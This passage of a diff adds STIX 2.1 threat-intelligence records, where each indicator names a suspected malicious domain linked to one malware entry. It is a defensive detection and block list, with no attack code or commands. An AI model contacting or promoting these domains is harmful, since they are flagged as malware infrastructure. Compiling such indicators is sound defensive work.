"relationship--75bab74c-0345-4acb-87ec-4e4893f256dc", + "created": "2023-03-29T12:58:43.725781Z", + "modified": "2023-03-29T12:58:43.725781Z", + "relationship_type": "indicates", + "source_ref": "indicator--45114ddf-704a-4a95-9092-0c812b123fca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c9d35e31-fccf-4d1a-ad55-d5c280dfc8c2", + "created": "2023-03-29T12:58:43.725966Z", + "modified": "2023-03-29T12:58:43.725966Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dealtuncorrupt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.725966Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4253d3bb-964f-41c2-81ad-cd132e768419", + "created": "2023-03-29T12:58:43.726592Z", + "modified": "2023-03-29T12:58:43.726592Z", + "relationship_type": "indicates", + "source_ref": "indicator--c9d35e31-fccf-4d1a-ad55-d5c280dfc8c2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--69e3b798-0404-4a32-8bed-a036df37c4dd", + "created": "2023-03-29T12:58:43.726784Z", + "modified": "2023-03-29T12:58:43.726784Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pointingtrimness.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.726784Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--84c725b4-66a1-40a2-9df5-a9e12e3a24c0", + "created": "2023-03-29T12:58:43.727398Z", + "modified": "2023-03-29T12:58:43.727398Z", + "relationship_type": "indicates", + "source_ref": "indicator--69e3b798-0404-4a32-8bed-a036df37c4dd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--980a5b3f-4ac9-4175-99ae-83fb3c73b6ac", + "created": "2023-03-29T12:58:43.727569Z", + "modified": "2023-03-29T12:58:43.727569Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='plownuclear.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.727569Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--162e7ff8-6e9c-4fe4-a457-b0796af20c43", + "created": "2023-03-29T12:58:43.728295Z", + "modified": "2023-03-29T12:58:43.728295Z", + "relationship_type": "indicates", + "source_ref": "indicator--980a5b3f-4ac9-4175-99ae-83fb3c73b6ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4252c2c2-e3a3-4552-9f69-e7a1c455f23b", + "created": "2023-03-29T12:58:43.728477Z", + "modified": "2023-03-29T12:58:43.728477Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='stockonepaper.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.728477Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f38ce604-6b01-411e-baa2-feb992f76f2e", + "created": "2023-03-29T12:58:43.729082Z", + "modified": "2023-03-29T12:58:43.729082Z", + "relationship_type": "indicates", + "source_ref": "indicator--4252c2c2-e3a3-4552-9f69-e7a1c455f23b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--21753dc2-2331-404c-9129-44b71394a435", + "created": "2023-03-29T12:58:43.729253Z", + "modified": "2023-03-29T12:58:43.729253Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diagramremover.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.729253Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6d7160cb-81d6-4dcc-9ce1-54a4bc8d863f", + "created": "2023-03-29T12:58:43.729864Z", + "modified": "2023-03-29T12:58:43.729864Z", + "relationship_type": "indicates", + "source_ref": "indicator--21753dc2-2331-404c-9129-44b71394a435", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a7f13155-8cd5-4ba4-981b-ca725d6254a2", + "created": "2023-03-29T12:58:43.730036Z", + "modified": "2023-03-29T12:58:43.730036Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unlockingplating.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.730036Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--60180c00-340e-4db9-8a00-5001af65d6c7", + "created": "2023-03-29T12:58:43.730637Z", + "modified": "2023-03-29T12:58:43.730637Z", + "relationship_type": "indicates", + "source_ref": "indicator--a7f13155-8cd5-4ba4-981b-ca725d6254a2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8fa831fb-2096-4899-b565-fc5c5bfcb20a", + "created": "2023-03-29T12:58:43.730807Z", + "modified": "2023-03-29T12:58:43.730807Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gagunlivable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.730807Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec0a369e-3c65-463f-8c4a-ddf4ef57bfec", + "created": "2023-03-29T12:58:43.731412Z", + "modified": "2023-03-29T12:58:43.731412Z", + "relationship_type": "indicates", + "source_ref": "indicator--8fa831fb-2096-4899-b565-fc5c5bfcb20a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9575613a-6f67-4e8d-a26e-163a20b55ce3", + "created": "2023-03-29T12:58:43.731582Z", + "modified": "2023-03-29T12:58:43.731582Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='laundrydimly.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.731582Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5d365297-07c8-4196-b7d8-7dfb896717a6", + "created": "2023-03-29T12:58:43.732185Z", + "modified": "2023-03-29T12:58:43.732185Z", + "relationship_type": "indicates", + "source_ref": "indicator--9575613a-6f67-4e8d-a26e-163a20b55ce3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--02f725d4-0940-497d-b39d-9a0aa6abb84e", + "created": "2023-03-29T12:58:43.732354Z", + "modified": "2023-03-29T12:58:43.732354Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='phrasesweep.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.732354Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9d97d29-fb6c-483f-b0f1-b93e7bf4cff8", + "created": "2023-03-29T12:58:43.732952Z", + "modified": "2023-03-29T12:58:43.732952Z", + "relationship_type": "indicates", + "source_ref": "indicator--02f725d4-0940-497d-b39d-9a0aa6abb84e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8192718f-0791-4af3-8d0b-c4b391ce48b6", + "created": "2023-03-29T12:58:43.733127Z", + "modified": "2023-03-29T12:58:43.733127Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='deputizemaker.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.733127Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7c3e9def-c14e-4147-8631-42f06ec746b9", + "created": "2023-03-29T12:58:43.733742Z", + "modified": "2023-03-29T12:58:43.733742Z", + "relationship_type": "indicates", + "source_ref": "indicator--8192718f-0791-4af3-8d0b-c4b391ce48b6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1aab9295-b15a-4a15-93ba-ef8058c5afa7", + "created": "2023-03-29T12:58:43.733914Z", + "modified": "2023-03-29T12:58:43.733914Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overallcache.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.733914Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--765d7b36-3ffc-415e-83a3-9fe354cb1407", + "created": "2023-03-29T12:58:43.734517Z", + "modified": "2023-03-29T12:58:43.734517Z", + "relationship_type": "indicates", + "source_ref": "indicator--1aab9295-b15a-4a15-93ba-ef8058c5afa7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4199cfec-5f0b-40fd-b885-b9272e82c94b", + "created": "2023-03-29T12:58:43.734688Z", + "modified": "2023-03-29T12:58:43.734688Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dysandancers.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.734688Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49ee5777-ac49-4030-af26-9278f9585f25", + "created": "2023-03-29T12:58:43.735404Z", + "modified": "2023-03-29T12:58:43.735404Z", + "relationship_type": "indicates", + "source_ref": "indicator--4199cfec-5f0b-40fd-b885-b9272e82c94b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d936ed8f-130a-4e66-b01c-9ba8ed76be07", + "created": "2023-03-29T12:58:43.735579Z", + "modified": "2023-03-29T12:58:43.735579Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='verdictdelirious.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.735579Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f762174-6ea3-434b-857d-6d32f28525de", + "created": "2023-03-29T12:58:43.736202Z", + "modified": "2023-03-29T12:58:43.736202Z", + "relationship_type": "indicates", + "source_ref": "indicator--d936ed8f-130a-4e66-b01c-9ba8ed76be07", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--743a41e2-4cf1-4dbc-8e21-72ce4621c9e8", + "created": "2023-03-29T12:58:43.736376Z", + "modified": "2023-03-29T12:58:43.736376Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outtakesenigmatic.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.736376Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cda04c2c-64bb-48c4-84d9-f780730fce65", + "created": "2023-03-29T12:58:43.736985Z", + "modified": "2023-03-29T12:58:43.736985Z", + "relationship_type": "indicates", + "source_ref": "indicator--743a41e2-4cf1-4dbc-8e21-72ce4621c9e8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d8171f7-4a28-44be-8679-6ea45a2ede1d", + "created": "2023-03-29T12:58:43.737155Z", + "modified": "2023-03-29T12:58:43.737155Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='firstcraft.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.737155Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c004a969-0fcc-43ed-b431-a877f119fc16", + "created": "2023-03-29T12:58:43.73776Z", + "modified": "2023-03-29T12:58:43.73776Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d8171f7-4a28-44be-8679-6ea45a2ede1d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f98bdd12-0583-4560-b0fd-9b3b560c9a6f", + "created": "2023-03-29T12:58:43.737933Z", + "modified": "2023-03-29T12:58:43.737933Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='encircleshrunk.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.737933Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bde28a4e-3290-4823-8471-c45cd3b5cdc1", + "created": "2023-03-29T12:58:43.738552Z", + "modified": "2023-03-29T12:58:43.738552Z", + "relationship_type": "indicates", + "source_ref": "indicator--f98bdd12-0583-4560-b0fd-9b3b560c9a6f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e2de5a1-1d05-4f26-a4ed-34f86c1c1714", + "created": "2023-03-29T12:58:43.738726Z", + "modified": "2023-03-29T12:58:43.738726Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='moonlightmacaroni.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.738726Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a678b3a4-8d6f-404e-a7fc-6f5682420a90", + "created": "2023-03-29T12:58:43.739336Z", + "modified": "2023-03-29T12:58:43.739336Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e2de5a1-1d05-4f26-a4ed-34f86c1c1714", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b08e148b-c192-4a57-b97a-d210fc9c3454", + "created": "2023-03-29T12:58:43.739509Z", + "modified": "2023-03-29T12:58:43.739509Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jupitorleague.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.739509Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e7033f6-8af3-4a7e-ad8b-6dda6805345e", + "created": "2023-03-29T12:58:43.740106Z", + "modified": "2023-03-29T12:58:43.740106Z", + "relationship_type": "indicates", + "source_ref": "indicator--b08e148b-c192-4a57-b97a-d210fc9c3454", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ad02059-82b3-4e51-92f8-7f76d16c883a", + "created": "2023-03-29T12:58:43.740277Z", + "modified": "2023-03-29T12:58:43.740277Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thinnesscaboose.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.740277Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b037dcb8-e925-4526-9318-c56a58c4d296", + "created": "2023-03-29T12:58:43.740891Z", + "modified": "2023-03-29T12:58:43.740891Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ad02059-82b3-4e51-92f8-7f76d16c883a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c7982bb3-812a-4538-8eb4-19e663253e1b", + "created": "2023-03-29T12:58:43.741078Z", + "modified": "2023-03-29T12:58:43.741078Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='latestcurl.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.741078Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0e5384f7-e35a-4a37-aafc-10660def1c13", + "created": "2023-03-29T12:58:43.741711Z", + "modified": "2023-03-29T12:58:43.741711Z", + "relationship_type": "indicates", + "source_ref": "indicator--c7982bb3-812a-4538-8eb4-19e663253e1b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1c49d6f8-c50f-4c9b-b177-0be8c77d17ef", + "created": "2023-03-29T12:58:43.741887Z", + "modified": "2023-03-29T12:58:43.741887Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='daysupport.uk']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.741887Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b5e0e592-2f7f-4917-95fd-e7c2367942f6", + "created": "2023-03-29T12:58:43.742593Z", + "modified": "2023-03-29T12:58:43.742593Z", + "relationship_type": "indicates", + "source_ref": "indicator--1c49d6f8-c50f-4c9b-b177-0be8c77d17ef", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--be63d9fd-b564-46a9-a4ff-06a068db54cb", + "created": "2023-03-29T12:58:43.742767Z", + "modified": "2023-03-29T12:58:43.742767Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carpentryparasail.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.742767Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eaaba24f-dbac-4ec6-a187-f0479bf8fe45", + "created": "2023-03-29T12:58:43.743418Z", + "modified": "2023-03-29T12:58:43.743418Z", + "relationship_type": "indicates", + "source_ref": "indicator--be63d9fd-b564-46a9-a4ff-06a068db54cb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3de945a-e08b-4593-a3d5-f18ab9801bfe", + "created": "2023-03-29T12:58:43.743598Z", + "modified": "2023-03-29T12:58:43.743598Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shrubberytilt.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.743598Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--746934d7-a2db-47f6-b79f-ae2a09d99a45", + "created": "2023-03-29T12:58:43.744201Z", + "modified": "2023-03-29T12:58:43.744201Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3de945a-e08b-4593-a3d5-f18ab9801bfe", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bcf16a9b-3500-4925-9c82-4598e216b3bf", + "created": "2023-03-29T12:58:43.744373Z", + "modified": "2023-03-29T12:58:43.744373Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tycoonautomaker.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.744373Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b90a004b-aecc-4283-bdb2-bbcc04ec6674", + "created": "2023-03-29T12:58:43.744977Z", + "modified": "2023-03-29T12:58:43.744977Z", + "relationship_type": "indicates", + "source_ref": "indicator--bcf16a9b-3500-4925-9c82-4598e216b3bf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c0779870-191c-446d-b69b-8465d96b3376", + "created": "2023-03-29T12:58:43.745148Z", + "modified": "2023-03-29T12:58:43.745148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='chosentabby.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.745148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b8830d4f-ff6a-4152-8c11-4b6ea70639cb", + "created": "2023-03-29T12:58:43.745755Z", + "modified": "2023-03-29T12:58:43.745755Z", + "relationship_type": "indicates", + "source_ref": "indicator--c0779870-191c-446d-b69b-8465d96b3376", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9d36e891-c5ae-4026-9cac-b99d794d6399", + "created": "2023-03-29T12:58:43.745927Z", + "modified": "2023-03-29T12:58:43.745927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dispersercitric.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.745927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b5119e8-7b3f-478b-928d-58593ec1b267", + "created": "2023-03-29T12:58:43.746538Z", + "modified": "2023-03-29T12:58:43.746538Z", + "relationship_type": "indicates", + "source_ref": "indicator--9d36e891-c5ae-4026-9cac-b99d794d6399", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a23b1623-6bb1-4ad8-af2d-1c850706beaf", + "created": "2023-03-29T12:58:43.746709Z", + "modified": "2023-03-29T12:58:43.746709Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='grubuncrown.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.746709Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c4a0cec-dde3-4238-b573-be1165f3c666", + "created": "2023-03-29T12:58:43.747315Z", + "modified": "2023-03-29T12:58:43.747315Z", + "relationship_type": "indicates", + "source_ref": "indicator--a23b1623-6bb1-4ad8-af2d-1c850706beaf", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d60f2ebd-6ad4-4ccd-bc2c-fe2c40ccac36", + "created": "2023-03-29T12:58:43.747495Z", + "modified": "2023-03-29T12:58:43.747495Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='poolhands.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.747495Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7f2d94ad-c908-4bb5-b5a4-e11a1dfa978d", + "created": "2023-03-29T12:58:43.748089Z", + "modified": "2023-03-29T12:58:43.748089Z", + "relationship_type": "indicates", + "source_ref": "indicator--d60f2ebd-6ad4-4ccd-bc2c-fe2c40ccac36", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc5e7e44-4915-4c1b-b097-ec35aadad8db", + "created": "2023-03-29T12:58:43.748259Z", + "modified": "2023-03-29T12:58:43.748259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='skatercleat.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.748259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--114eca43-0af4-4d75-a492-9419cdeca5be", + "created": "2023-03-29T12:58:43.748866Z", + "modified": "2023-03-29T12:58:43.748866Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc5e7e44-4915-4c1b-b097-ec35aadad8db", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e4dd90a5-f978-4cb5-8d78-4290c0366cd0", + "created": "2023-03-29T12:58:43.749037Z", + "modified": "2023-03-29T12:58:43.749037Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bushfrighten.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.749037Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b69d1d79-ec6a-49b8-86ad-fd5b03c8d5d0", + "created": "2023-03-29T12:58:43.750025Z", + "modified": "2023-03-29T12:58:43.750025Z", + "relationship_type": "indicates", + "source_ref": "indicator--e4dd90a5-f978-4cb5-8d78-4290c0366cd0", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a26cd67a-a53e-4c5a-85b4-3529fe7d038f", + "created": "2023-03-29T12:58:43.750204Z", + "modified": "2023-03-29T12:58:43.750204Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='taskthreecomplete.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.750204Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89934ac7-1863-45db-ab22-2d48357c1fbc", + "created": "2023-03-29T12:58:43.750816Z", + "modified": "2023-03-29T12:58:43.750816Z", + "relationship_type": "indicates", + "source_ref": "indicator--a26cd67a-a53e-4c5a-85b4-3529fe7d038f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb3c0c8d-527e-42a2-aaea-b80b7fcead27", + "created": "2023-03-29T12:58:43.750989Z", + "modified": "2023-03-29T12:58:43.750989Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='undergradaversion.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.750989Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--06c65629-0003-4278-a3e5-94438822e729", + "created": "2023-03-29T12:58:43.751596Z", + "modified": "2023-03-29T12:58:43.751596Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb3c0c8d-527e-42a2-aaea-b80b7fcead27", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d56634f2-b044-4359-8d48-f324eb1ede08", + "created": "2023-03-29T12:58:43.751768Z", + "modified": "2023-03-29T12:58:43.751768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='creptmorphing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.751768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e4d908a1-7e92-4e65-810b-55b0b8f29d50", + "created": "2023-03-29T12:58:43.752369Z", + "modified": "2023-03-29T12:58:43.752369Z", + "relationship_type": "indicates", + "source_ref": "indicator--d56634f2-b044-4359-8d48-f324eb1ede08", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b10edb65-01ff-4f9c-a518-44be5392daf1", + "created": "2023-03-29T12:58:43.75254Z", + "modified": "2023-03-29T12:58:43.75254Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='wassatformene.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.75254Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6db837fe-b3ad-48f4-ba19-20129be10435", + "created": "2023-03-29T12:58:43.753136Z", + "modified": "2023-03-29T12:58:43.753136Z", + "relationship_type": "indicates", + "source_ref": "indicator--b10edb65-01ff-4f9c-a518-44be5392daf1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5ea1a0de-0468-446f-b819-2211dae8e309", + "created": "2023-03-29T12:58:43.753308Z", + "modified": "2023-03-29T12:58:43.753308Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='diminishoverstep.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.753308Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--134277f6-e0bb-4131-b570-8c53359ecd35", + "created": "2023-03-29T12:58:43.753921Z", + "modified": "2023-03-29T12:58:43.753921Z", + "relationship_type": "indicates", + "source_ref": "indicator--5ea1a0de-0468-446f-b819-2211dae8e309", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0fd24428-1ce3-4c13-8924-68200ec0375a", + "created": "2023-03-29T12:58:43.754097Z", + "modified": "2023-03-29T12:58:43.754097Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='agreementdental.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:43.754097Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--49ac98a1-be0d-4bca-a68b-41d2c8b99c8b", + "created": "2023-03-29T12:58:43.754702Z", + "modified": "2023-03-29T12:58:43.754702Z", + "relationship_type": "indicates", + "source_ref": "indicator--0fd24428-1ce3-4c13-8924-68200ec0375a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ad6d9756-ff75-4e72-afd3-952669d645aa", + "created": "2023-03-29T12:58:43.754872Z", + "modified": "2023-03-29T12:58:43.754872Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='merchantsdeals.net']", + "pattern_type": 